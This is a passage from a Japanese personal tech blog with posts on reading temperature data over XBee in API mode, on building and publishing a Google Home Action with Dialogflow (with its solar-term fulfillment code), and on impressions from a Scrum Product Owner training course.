00:31:46.289 -> Receive data from xbee [ 7e 0 12 92 0 13 a2 0 41 7d 4f 25 d 3e 1 1 0 0 4 1 df 55 ]
00:31:47.261 -> Receive data from xbee [ 7e 0 12 92 0 13 a2 0 41 7d 4f 25 d 3e 1 1 0 0 4 1 df 55 ]
00:31:48.265 -> Receive data from xbee [ 7e 0 12 92 0 13 a2 0 41 7d 4f 25 d 3e 1 1 0 0 4 1 df 55 ]
00:31:49.239 -> Receive data from xbee [ 7e 0 12 92 0 13 a2 0 41 7d 4f 25 d 3e 1 1 0 0 4 1 df 55 ]
00:31:50.190 -> Receive data from xbee [ 7e 0 12 92 0 13 a2 0 41 7d 4f 25 d 3e 1 1 0 0 4 1 df 55 ]
00:31:51.198 -> Receive data from xbee [ 7e 0 12 92 0 13 a2 0 41 7d 4f 25 d 3e 1 1 0 0 4 1 df 55 ]

完成

f:id:kyonta1022:20191019003612j:plain

XBeeのAPIモードで温度を受信する

はじめに

夏場は部屋が寒すぎるので、どうにかならないかな〜と考えていたら、部屋の温度を監視して適温になるようにエアコンを自動調整すればいいのでは。と思い立ち、周辺装置の開発でもしてみようと思ったので、その前段としてXBeeの使い方を覚えてみる(一年経過)

準備

秋月電子で以下の部品を調達する

X-CTUのセットアップ

XBeeの設定を行うには X-CTU というソフトウェアを使うと簡単に設定できるので、インストールする

www.digi.com

XBeeの設定

X-CTU をインストールしたら、早速XBeeの設定を行ってみる
今回はコーディネータ1台とルータ2台によるメッシュネットワークを構成したいと思う。

ZigBeeの仕様についてはskyleyのサイトで大変わかりやすくまとめてくれているので、一通り目を通すのをオススメする。

ZigBee入門 - Skyley Support Wiki

XBeeのフレーム構造や種類などに関しては、XBeeの製造元の digi 社のサイトが大変参考になる。

XBee API mode

XBeeのピン配列に関しては以下のサイトがわかりやすい

XBeeのピン配列

共通

最初は、親機子機共に共通の設定を行う必要があるので以下のように設定する。
XBeeUSBアダプターを使ってXBeeを繋いだら左上の「+」マークからデバイスを探す。

f:id:kyonta1022:20191018232653p:plain

USBで繋いでいるので usbserial を選択する。

f:id:kyonta1022:20191018232711p:plain

無事デバイスが見つかったら、Firmwareの最新版を一度書き込みたいので update を選択する。

f:id:kyonta1022:20191018232736p:plain

ZIGBEE TH Reg を選択して完了するのを少々待つ。

f:id:kyonta1022:20191018232723p:plain

余談だが、従来のXBeeだとコーディネータやルータなどのデバイスタイプ毎に書き込むFirmwareが違っていたらしいが、XBeeS2Cからは設定項目でデバイスタイプなどを変更することが可能となった。

どうやら、メモリやCPUの性能が上がったことで全モードが書き込み可能となったため、ATコマンドで変更することができるようになったのだとかどうとか。

子機(室温を親機に送る)

設定項目は結構あるので、変更部分だけを抜粋。
若干ハマった所としては、アナログピン(Pin19)を入力にするだけではダメで、サンプリングレートを設定しないとセンサー素子から値を読み込んで送信してくれない。

[Networking]
- PAN ID = 1192

[Serial Interfacing]
- API Enable = API Enabled [1]

[I/O Settings]
- Pin 19 DIO1/AD1/nSPI_ATTN Configuration = ADC [2]

[I/O Sampling]
- IO Sampling Rate = 3E7

ブレッドボード上の回路としてはこんな感じになる f:id:kyonta1022:20191018224221p:plain

親機(受信した値をコンソールに出力する)

同じく変更部分だけを抜粋。
重要な部分は Coordinator を有効にするぐらい。

[Networking]
- PAN ID = 1192
- Coordinator Enable = Enabled[1]

[Addressing]
- Destinaton Address Low = FFFF

[Serial Interfacing]
- API Enable = API Enabled [1]

親機は設定が終わってもPCに繋げっぱなしにしとき、X-CTU のコンソールを開いて受信するフレームを確認する。

f:id:kyonta1022:20191018234542p:plain

一点混乱してハマったのでメモとして残しておくが、コンソールで確認したり設定変更したりスキャンしてネットワークを確認してまたコンソールみたりと、試行錯誤しながら色々触ると思うが、何かしらのタイミングで IO Data Sample RX Indicator のフレームが受信されなくなり、代わりに変なフレームを受信するようになる。これは、スキャンなどを行っているとそれに関係するフレームの送受信を行っているために、そのようなフレームがコンソールに表示される(その間はスキャン以外のフレームは送信されないような仕様になってるぽい?)

完成

f:id:kyonta1022:20191018235222j:plain

GoogleHome向けのActionを作ってみた

はじめに

先日、Google Home Mini を購入したので、せっかくだし自作のアプリでも作ってみるかと思い、季節を答える簡単なActionを作成してリリースしてみた。
一応リリースできたけど、何回かリジェクトされたりしたので、どんな感じに作ったかや、自分の理解を深めるために雑にまとめてみる。

世界観

色々なサイトを見れば詳しい解説が出ているが、一応ザックリとまとめてみる。

スマートスピーカー

GoogleHomeやHome mini などのような賢いスピーカー。我々人間がやりとりを行う時の相手になるもの。

Google Assistant

Googleが開発したAIアシスタントスマートスピーカーに住んでいる妖精で、内容に応じたAgentを呼び出してくれる。

Actions on Google

Actionを開発するためのプラットフォーム。

Action

Google Assistantで使えるサードパーティ製のアプリ的なもの。

Dialogflow

自然言語理解(NLU)エンジンを積んでいて、GUIから簡単に会話型のインターフェイス(独自Agent)を構築できる機能。

例えば、天気を尋ねる時などに、言葉の微妙なニュアンスの違いがあったとしても、Dialogflow はそれを吸収して構造化された形式に変換してくれる。 ユーザからの「今日」「明日」「1月1日」などという発話は 「年/月/日/時間」の構造を持っているので、Dialogflowが曖昧な発話を「年/月/日/時間」の構造に変換して渡してくれるような理解。 他の例としては、「今日から明日」「7月」などは、「期間(from - to)」の構造を持っているので「年/月/日/時間 - 年/月/日/時間」に変換するなどなど。

プロジェクトを作成する

Googleで「Actions Console」で検索すると、一番上に Actions Consoleが出てくると思うので、そこから Actions on google のコンソールに入る。

f:id:kyonta1022:20190629194551p:plain

「New Project」 から新規プロジェクトを作成する。

f:id:kyonta1022:20190629195016p:plain

どんなものを開発しますか?的なことを聞かれるので、今回は会話型(Conversational)を選択する。

f:id:kyonta1022:20190629195340p:plain

プロジェクトの概要ページに移る。

f:id:kyonta1022:20190629200549p:plain

UI はかなり親切な設計になっており、上から

  • Quick Setup
    • Actionの起動方法決める
  • Build your Action
    • Actionの作成とテスト
  • Get ready for deployment
    • リリースするに当たってActionの説明(Directory)などを設定する
  • Release
    • Release申請する

という流れになっており、リリースするまでにやるべき事がパッとわかるようになっているので、迷う事なく進められる。

Actionの名前を決める

「Quick setup」を選択して、 声とActionの名前を設定する(後からも変更可能)
Actionの名前は、よくある単語や一般的に使われそうな名前ではダメというポリシーがあるらしいので、命名時は少し気にするといいかも。自分は「にじゅうしせっき」って付けたらリジェクトされた。

ちなみに、今回は女性の名前で作成したのだが、Female 2 の方が喋り方が自然だったので、Female 1ではなくFemale 2をオススメする。 Female 1 は、よくある機械が喋るような発声なので、聞くとガッカリする。

入力が完了したら、右上に出ている「Save」を忘れないようにする。

f:id:kyonta1022:20190629201323p:plain

Actionの作成

サイドメニューに表示されている Actions を選択するか、概要ページの「Add Action(s)」を選択する。

f:id:kyonta1022:20190629202322p:plain

組み込みやテンプレートみたいなのものもあるが、今回はカスタムインテントを選択する。選択すると Dialogflow のページに遷移する。

f:id:kyonta1022:20190629202501p:plain

言語を選択してAgentを作成する。
AgentとはDialogflow のプロジェクト。管理単位。

f:id:kyonta1022:20190629202844p:plain

会話を構築する

用語の説明

会話を構築するにあたり、いくつか用語があるのでまとめとく。

Intent

Intent とは、ユーザからの発話に対する処理の定義的なもので、インテント毎にどのような発話に反応(Training phrases)するかを決めて、それに対してどのような応答(Response)をするかなどを定義できる。いくつか項目があるので、ざっとまとめる。

Context

コンテキストにはinoutがある。使い分けとしては、このインテントが実行されるときに、別のインテントで発生したパラメーターなどを受け継ぐ時は、inにそのコンテキスト名を指定すると使えるようになる。outは、このインテントで発生したパラメータを別のインテントに引き継ぎたい場合に利用する。

会話の文脈的な意味合いから Cotext という名前がついたのかな?と覚えた。

Events

イベントはユーザからの発話ではなく、何か出来事が起こった時にインテントを起動するためのもの。トリガー。

Training phrases

レーニングフレーズは、ユーザからどんな「発話」を受け取った時にインテントが起動するかを決める。

また、フレーズの内容は構造化されたパラメーターとして受け取る事ができる。
例えば「6月6日は」と定義した場合、「年/月/日」の部分を「sys.date」パラメータに設定することができるため、そのパラメータを Responseや Fulfillment で利用する事ができる。

Action and parameters

上のフレーズから抽出できるパラメータが自動的に設定される。
※ 手動で設定しなければいけない場合もある

Responses

このインテントの応答。
複数の応答を定義すると、その中からランダムに返してくれる。

Fulfillment

これを有効にすると、このインテントが呼ばれた場合に webhook する事ができる。 ちなみに、webhook は Actionにつき一つしか設定できないので、インテントでは使用有無しか設定できない。

構築

今回はこんな感じの会話を想定して構築した。

ちなみに、会話の構築で注意することは、ユーザがどのような発話の候補を持っているか を明確に教えてあげないと Release 時にリジェクトされるので、インテント毎に次にどんな発話を望んでいるか(想定)を丁寧に示すのがいいと思う。

[Action Start]

> こんにちわ、季節をお答えします。

XX月YY日は?

> XX月YY日の季節は・・・

もう一回

> XX月YY日の季節は・・・

おわり

> ご利用ありがとうございました。

[Action End]

作成したインテントとしては、

Welcomeインテント

Action起動時に機能の説明をして欲しいので、Eventの設定とResponseのみを設定している。

f:id:kyonta1022:20190629214653p:plain

Mainインテント

ユーザからの発話から日付を取得して、該当する季節を答えるため、Training phrases と Parameter と Filfullment を設定している。

f:id:kyonta1022:20190629222846p:plain

Filfullmentでは、Inline Editorを使ってサーバー側の処理を書いた。

'use strict';

function solar_term(now) {
  const SOLAR_TERM = [
    {month: 1, date: 5, name:"小寒", name_kana: "しょうかん", description: "池や川の氷も厚みを増し、寒さが厳しくなる頃です。この日を「寒の入り」といい、寒さの始まりを意味します。そして、小寒と大寒を合わせたおよそ1か月を「寒中」「寒の内」といい、寒中見舞いを出す時期とされています"},
    {month: 1, date:20, name:"大寒", name_kana: "だいかん", description: "冷え込みもはげしく、寒さが最も厳しい頃。二十四節気の最後の節気で、ここを乗り切れば春近しということです。寒気を利用した食物(凍り豆腐、寒天、酒、味噌など)を仕込む時期にもあたります"},
    {month: 2, date: 4, name:"立春", name_kana: "りっしゅん", description: "二十四節気の最初の節気で、この日から暦の上では春となり、さまざまな決まりごとや節目の基準になっています。旧暦では立春近くに正月がめぐってきたので、立春は春の始まりであり、1年の始まりでもありました。まだまだ寒さは厳しいですが、立春を過ぎてから初めて吹く強い南風を「春一番」といいます"},
    {month: 2, date:19, name:"雨水", name_kana: "うすい", description: "雪から雨へと変わり、降り積もった雪も溶けだす頃という意味です。実際にはまだ雪深いところも多く、これから雪が降り出す地域もありますが、ちろちろと流れ出す雪溶け水に、春の足音を感じます"},
    {month: 3, date: 6, name:"啓蟄", name_kana: "けいちつ", description: "大地が温まって、冬ごもりから目覚めた虫が、穴をひらいて顔を出す頃。「啓」はひらく、「蟄」は土の中にとじこもっていた虫(蛙や蛇)という意味です。ひと雨ごとに暖かくなり、日差しも春めいて、生き物が再び活動し始めます"},
    {month: 3, date:21, name:"春分", name_kana: "しゅんぶん", description: "昼夜の長さがほぼ同じになる日で、この日を境に陽が延びていきます。春分の日は彼岸の中日で前後3日間を春彼岸といい、先祖のお墓参りをする習慣があります。「自然をたたえ、生物をいつくしむ」として国民の祝日になっています"},
    {month: 4, date: 5, name:"清明", name_kana: "せいめい", description: "清明は「清浄明潔」の略で、万物がけがれなく清らかで生き生きしているという意味です。花が咲き、鳥は歌い、空は青く澄み、爽やかな風が吹き、すべてのものが春の息吹を謳歌する頃。各地でお花見シーズンを迎えます"},
    {month: 4, date:20, name:"穀雨", name_kana: "こくう", description: "春の柔らかな雨に農作物がうるおうという意味です。この時期に農作物の種をまくと、雨に恵まれ、よく成長するといわれています"},
    {month: 5, date: 6, name:"立夏", name_kana: "りっか", description: "この日から立秋の前日までが暦の上では夏となります。新緑に彩られ、さわやかな晴天が続く頃です。ちょうどゴールデンウィークの時期にあたり、レジャーに出かけるにもよい気候です"},
    {month: 5, date:21, name:"小満", name_kana: "しょうまん", description: "陽気がよくなり草木が成長して茂るという意味です。農家では田植えの準備を始める頃。動物や植物にも活気があふれます。また、秋にまいた麦の穂が付くころで安心する(少し満足する)という意味もあります"},
    {month: 6, date: 6, name:"芒種", name_kana: "ぼうしゅ", description: "「芒」とはイネ科植物の穂先にある毛のような部分のことで、稲などの穀物の種をまく時期という意味です。田植えの目安とされ、農家が忙しくなる時期。梅雨入りも間近で少し蒸し暑くなってくる頃です"},
    {month: 6, date:21, name:"夏至", name_kana: "げし", description: "北半球では、太陽が最も高く昇り、1年で最も昼が長い日です。ただ、日本では梅雨のシーズンでもあるので、日照時間が短く、あまりひの長さを実感できないかもしれません。暦の上では夏の折り返し地点にあたり、夏至を過ぎると暑さが増して本格的な夏がやってきます"},
    {month: 7, date: 7, name:"小暑", name_kana: "しょうしょ", description: "だんだん暑さが増していくという意味で、梅雨明けも近くなり、湿っぽさの中にも夏の熱気が感じられるようになります。海や山に出かけるのにもいい時期です。また、小暑と大暑を合わせたおよそ1か月を「暑中」といい、「暑中見舞い」を出す期間とされています"},
    {month: 7, date:23, name:"大暑", name_kana: "たいしょ", description: "夏の暑さが本格的になるという意味ですが、子どもたちは夏休みに入ってわくわく。農家にとっては田の草取り、害虫駆除など暑い中での農作業が続く大変な時期です。また、土用の丑の日が近く、夏バテ防止にうなぎを食べたりする頃です"},
    {month: 8, date: 7, name:"立秋", name_kana: "りっしゅう", description: "厳しい残暑は続きますが、この日から暦の上では秋となります。これからは少しずつ涼しくなり、秋の気配が漂いだす頃です。また、立秋を過ぎたら「暑中見舞い」は「残暑見舞い」に変わります"},
    {month: 8, date:23, name:"処暑", name_kana: "しょしょ", description: "さがおさまるという意味で、日中は暑いものの、朝晩の涼しさに初秋の息遣いを感じる頃です。夏休みもそろそろ終わり。秋の台風シーズンに入っていきます"},
    {month: 9, date: 8, name:"白露", name_kana: "はくろ", description: "秋が深まり、草花に朝露がつきはじめる頃という意味です。空は高くなり、秋雲がたなびくようになり、本格的な秋の到来です。また、実りの秋を前に台風が心配な時期でもあります"},
    {month: 9, date:23, name:"秋分", name_kana: "しゅうぶん", description: "昼夜の長さがほぼ同じになる日で、この日を境に日が短くなり、秋の夜長に向かいます。秋分の日は彼岸の中日で前後3日間を秋彼岸といい、先祖のお墓参りをする習慣があります。「祖先を敬い、亡くなった人をしのぶ日」として国民の祝日になっています"},
    {month:10, date: 8, name:"寒露", name_kana: "かんろ", description: "草木に冷たい露が降りる頃という意味です。秋の長雨が終わり、ぐっと秋が深まります。稲刈りが終わるころで、その他の農作物の収穫もたけなわとなります。また、北の方から紅葉の便りが届きはじめます"},
    {month:10, date:23, name:"霜降", name_kana: "そうこう", description: "早朝に霜が降りはじめる頃という意味です。晩秋を迎え、北の方では朝霜が降り、山々は紅葉に染まります"},
    {month:11, date: 7, name:"立冬", name_kana: "りっとう", description: "この日から立春の前日までが暦の上では冬となります。木枯らしが吹き、冬の訪れを感じる頃。太陽の光が弱まって日も短くなり、木立ちの冬枯れが目立つようになります。木枯らしが吹くのは、冬型の気圧配置になった証拠です"},
    {month:11, date:22, name:"小雪", name_kana: "しょうせつ", description: "木々の葉が落ち、山には初雪が舞い始める頃です。「小雪」とは、冬とは言えまだ雪はさほど多くないという意味で、冬の入口にあたります"},
    {month:12, date: 7, name:"大雪", name_kana: "たいせつ", description: "山の峰々は雪をかぶり、平地にも雪が降る頃です。本格的な冬の到来で、動物たちも冬ごもりを始めます。年末に向け、お正月の準備も始まって、何かとあわただしい時期でもあります"},
    {month:12, date:22, name:"冬至", name_kana: "とうじ", description: "太陽が最も低い位置にあり、1年で最も夜が長く、昼が短い日です。太陽の力が一番弱まる日ですが、翌日からは再び強まるということから、運が向いてくるとされています。また、冬至かぼちゃ、冬至がゆ、柚子湯などで、厄払いや無病息災を願う風習があります"},
  ];
  
  var index = SOLAR_TERM.findIndex(season => {
    if (new Date(now.getFullYear(), season.month -1, season.date) > now) {
      return season;
    }
  });
  return (index <= 0) ? SOLAR_TERM[SOLAR_TERM.length -1] : SOLAR_TERM[index - 1];
}

function say(date, season) {
  var say_season = `${date.getMonth() + 1}月${date.getDate()}日は、${season.name_kana}の季節です。${season.description}。。`;
  var announcement = "別の日について知りたい場合は、希望する日付を指定してください。終わりにする場合は、「終わり」と言って下さい。";
  return say_season + announcement;
}

const functions = require('firebase-functions');
const { dialogflow } = require('actions-on-google');

const app = dialogflow();

app.intent('One More', conv => {
    const season = conv.contexts.get("season");
    if (typeof season === 'undefined') {
      conv.ask("希望する日付を指定してください。");
    } else {
      conv.ask(season.parameters.say);
    }
});

app.intent('Another Date', (conv, params) => {
    const date = new Date(params.date);
    const answer = say(date, solar_term(date));
    conv.contexts.set("season", 10, {say: answer});
    conv.ask(answer);
});

exports.dialogflowFirebaseFulfillment = functions.https.onRequest(app);

One Moreインテント

Mainインテントで設定されたseasonコンテキスト(conv.contexts.set("season", 10, {say: answer});)をもらい、同じ内容で応答するために、 Training phrases と Parameter と Response を設定している。

f:id:kyonta1022:20190629224139p:plain f:id:kyonta1022:20190629224154p:plain

Exitインテント

Actionを終了するために、Training phrases と Response と「set this intent as end of conversation」 を設定している。

f:id:kyonta1022:20190629224557p:plain f:id:kyonta1022:20190629224615p:plain

リリースするにあたってディレクトリを設定する

概要の「Enter information required for listing your Action in the Actions directory」を選択する

f:id:kyonta1022:20190629230130p:plain

内容はこのくらいあるが、注意すべきところだけここでは取り上げる

f:id:kyonta1022:20190629230324p:plain

Description

Actionが何をできるかを簡潔に書く。曖昧だとリジェクトされる。

Sample Invocations

Actionを起動するときのフレーズを設定する。最初に設定したAction名からかけ離れているとリジェクトされる。
ちなみに、同じフレーズでも「ひらがな」と「漢字」版など、想定されそうなフレーズは複数設定しといたほうがいい。自分は最初、ひらがなだけのフレーズを設定していたが全然Actionが起動されず、スマホGoogle Assistant で試してみたら、発話の一部分が漢字に変換されていてフレーズに一致しない事象が起きていた。

Images

好きなアイコンと背景画像をどうぞ。

Contact details

連絡先情報と開発者名(任意)をどうぞ。

Privacy and concent

プライバシーポリシーを明記したリンクを設定する。最初はよく分からなかったので、他のActionのプライバシーポリシーを参考にした。
ちなみに、プライバシーポリシーはGoogleサイトで作成した。

リリース

リリースボタンを押して、アプローブされるのを待とう。
レスポンスが結構早いのと、あちら側でも簡単なテストをやってくれるのでありがたい。
曖昧な説明や動作がおかしかったりするとリジェクトされる。

リリース後

ちなみにリリースから数日経つと、リリース記念に「Tシャツ」と「毎月200ドルのGoogle Cloudクレジット」がプレゼントされる。これは嬉しい。

JamesCoplienの認定スクラムプロダクトオーナー研修を受けてみた

James Coplienの認定スクラムプロダクトオーナー研修を受けてみた。

認定プロダクトオーナー研修とは?

Scrum Alliance®の認定スクラムトレーナー(Certified Scrum Trainer®:CST®)による 「 スクラム をプロダクト開発の仮説検証のフレームワークとして活用する」ための研修

なんで参加したの?

  • ScrumBootCampの書籍以上の事を学べると思ったのと、Scrumの研修はメンバーも受けた方がいい的な事をPodcastで言ってたのを思い出した
  • プロダクトオーナーの役割を担った人は、どのような考えで動き、どのような視点でプロダクトやチームを見るのか、純粋に興味があった
  • 会社で参加者募っててGooodタイミングだった

研修の内容

大分端折ってる部分もあるが、大枠的には次の構成で研修は進む。

体感的には座学(随時質疑応答のある参加型)がメインで、合間合間にワークショップが挟まれている感じだった。研修は2日行われ、参加人数は40人弱ぐらい。4-5人で一つのテーブルを囲む。

スクラム入門

The Scrum Values(勇気・集中・コミットメント・尊敬・オープン)

Scrumの価値について理解

  • 特に「尊敬」の部分が一番興味深かった。これはメンバーを信頼する事であり、これがないことによって余計な仕事が増えてしまう
  • 例えば、信頼できないからメトリックスを取って確認しよう。だとか、本当に合ってるかなどを質問によって確認しようとしたりだとか、信頼がないからこそ余計な仕事が増える。TeemGeekでもHRTの一部として尊敬・信頼が語られていたけど、凄く大切。

スクラムプロダクトオーナープロセス

プロダクトオーナーの視点から見た、プロセスの全体像理解

  • プロダクトバックログを示すのが、プロダクトオーナーの最大の仕事
  • プロダクトバックログリファインメントという、直近のPBIのHOW(設計)を落とし込んでいく活動がある(言葉レベルで知らなかった)
  • プロダクトオーナーは、新しくプロダクトバックログに積むための調査や顧客との協調(リサーチ)を、日々のスプリントと並行して行っている
  • プロダクトオーナーとは、プロダクトの社長である。要は権限がちゃんとある。

自己組織化

ワークショップを経て、自己組織化したチームがどのようにワークするのかを理解。これが結構面白く、自分達の頭を使って考え、周りを観察しながら各々が調整することにより、自然に丸く収束するのを体験できた。細胞みたい。

  • 自己組織化こそアジャイルの全て
  • お前がボスなんだ、出番を待つな、管理を望むな。もし失敗しても大丈夫だ。次のアイデアを試そう。ここにあるのは、正しい事をする、賢くてモチベーションの高い人々への信教

アジャイルは後発的な要求に対処するためのもの

単純なものからカオスなものまで、色々なレベルの問題があるけども、単純+煩雑(整理すれば単純)な問題は計画して実行すればいいよね。けど、複雑(何か変わると他も関連して変わるような)な問題は予測できないよね = 計画できない。これは確実性と後発性になるけど、アジャイルはこの後発性に対応するためのものなのだよ。という理解をした。正直問題のレベルとかは意識してなかったので、鱗落ちた。

プロマネやった事ある人?

自己組織化した開発チームと、プロダクトへの権限を持ったPOが居れば、管理するだけのプロマネは居なくても平気だなと理解。というより、必要なくなる。

  • スクラムにプロジェクトはない。期間ではなくプロダクトに対してチームがあるから。
  • デリバリーの順番をコントロールするのはPOで、開発のペースをコントロールするのはプロマネじゃなく開発チーム。プロダクトの世界を一番知っているのは開発チームだからだ。

プロダクトオーナーの仕事とは

戦略的なリーダー

スティーブ・ジョブスみたいな人が優秀なPO。ビジョンがあるからPOになるのだ。なるほどー、わかりやすい。

  • POはビジョン情熱を持っている
  • フォロワーがいる人(信頼される人)

プロダクトオーナーとは

ビジョンと情熱を持って、ステークホルダーに説明する責任を持つ人か。

  • 上司が複数いるかもしれない。しかも同じ目的を共有していないかも
  • プロダクトのビジョンや価値の説明に責任を持つ人は必要である。上の理由からも、ここは単一責任者=POとして置いた方が良い。

プロダクトオーナーの役割

以前参画していた所で、施策ごとにROIを計算して優先度をつけて、開発チームが作ってデリバリーしてくみたいな感じで回してたんだけど、あの施策出したりする人がPOだったのか。と改めて気づいた。あと、参加者(PO)の話を聞いてて、これはそれなりの権限(お金、人事権)を持っていない人がやると、よくあるマネージャになっちゃってPOとして上手く機能しなそうだなと思った。

  • 価値(ROI)を最適化する
  • 価値はROI以外でも良い。何を価値と置くかはプロダクトにより異なる
  • 明示的な終了(製品を殺す)基準を明確にする

バックログリファイメント

  • 開発チームの時間は 5%-10% までに制限する

完了の定義

  • 完了の定義は、表面化(機能)しない部分も含める
  • 例えば、目に見える機能だけに集中して内部の実装やドキュメントを疎かにした場合、短期的に見るとスピードが上がったように見えるが、技術負債になり中長期的に見てチームは損をする。結果、スピードが下がる。
  • なので、表面化していないものでも価値あるものは、完了の定義に含める必要がある。

スプリントレビュー

プロダクトの改善をする活動。話題としては、

スプリントレトロスペクティブ

プロセスの改善をする活動。1週間毎の振りかえりみたいなものだと理解。

  • デイリースクラム小さな障害の問題に対処するが、これはもっと大きな(戦略的な)問題になる。スクラムチームのプロセス改善

プロダクトオーナーの落とし穴

  • POが横からチラッと見た時に、開発チームの失敗に気づいてもPOはそれをあえて教えない
  • Scrumは管理された環境下での失敗が可能な訓練のためのツール
    • 気づき -> 反省 -> 改善に繋げる
    • 学習(行動を変えていく)する

ロードマップ

どんなことでも、どこに向かってるかは必要だよね。

  • 方向は変えるが、どこに向かっているかは必要
  • ただ、6ヶ月を超える予定は夢

開発チームを雇う

プロダクトオーナーがプロダクトの社長とするならば、チームは一つの会社と見る事ができる。チームが会社ならば、必要なスキルを持ったメンバーは会社(チーム)にいるべきである。という考え方かな。

  • DevOps、テストなどの横断チームを持たない。開発チームが全てをこなす
  • 必要なスキルを持ったメンバーがいない場合は、採用 or バジェットを取って教育 する

プロダクトバックログについて

イデアのライフサイクル

イデアがどのように出荷可能な成果物になるのかを端的に表したもの。

f:id:kyonta1022:20190613190353p:plain

  • プロダクトバックログWHATを書く。「XXを作る」みたいなHOWはだめ
  • POは順位づけの最終決定権があり、デリバリーの順番にPBIを並べる

バリューストリームの分岐

f:id:kyonta1022:20190613190430p:plain

  • 一つの製品のバックログが複数のバリューストリームを含む事がある
  • 分岐しそうになったら、スピンオフしてプロダクトの機敏性を保つ

1つのPBIに群がる

普通にそれぞれが一つのPBIを担当していくものと思ってたので、この考え方はなるほどとなった。

  • 良いチームは一度に1つのPBIに群がる
  • 各メンバーが別々のPBIを担当すると、全て進捗80%みたいな感じで、スプリントが終わったのに一つもPBIが完了していませんでした。というような事態になりかねない
  • トヨタの「一個流し」からヒントを得たらしい
  • ちなみに、バーンダウンチャートはポイントの消化率ではなく、PBIの消化率で見た方がいい。ポイントの消化率で見ると、上のような進捗的には進んでるけどPBI完成してませんでした。的な事が起こり得る。
  • 慣れてきたら、2PBIまでは並行してもOK

群がりやすくするために

ここら辺の話で面白かったのは、JIRAを使ってPBIを管理してはいけないという話。何故JIRAがダメなのかというと、詳細な記録が残せてしまうかららしい。それの何が問題になるのかというと、誰々がどのくらい機能を作っている。誰々はバグの埋込率が高い。みたいな詳細なログが追えてしまうので、それを使ってマネージャーが管理するとメンバーは個人の成果を追ってしまうことになり、チーム全体で・・という空気になりにくい。なので、付箋(エクセルも可)とかシンプルなやつで管理するぐらいがちょうどいいという話。

※ 通訳をうまく拾えてない部分があるので、解釈が違う可能性あり

  • ヒーロー文化に争う
  • クロスファンクショナルチームを持つ
  • 個々の達成よりチーム全体に報いる

その他よかったこと

  • テーブルの参加者が、コンサル・自社製品PO・受託開発PO・エンジニアと、それぞれやっている事が違うので、色々な話を聞けて刺激的だった
  • スクラムマスターの役割に関する動画が笑えた
  • マイクロサービスは死んだとか、TDDはXXとか、情報工学なんて科学にもとづいてない経験則だろ的な話も聞けた(通訳さんに追いつけずあまり理解できなかったけど

まとめ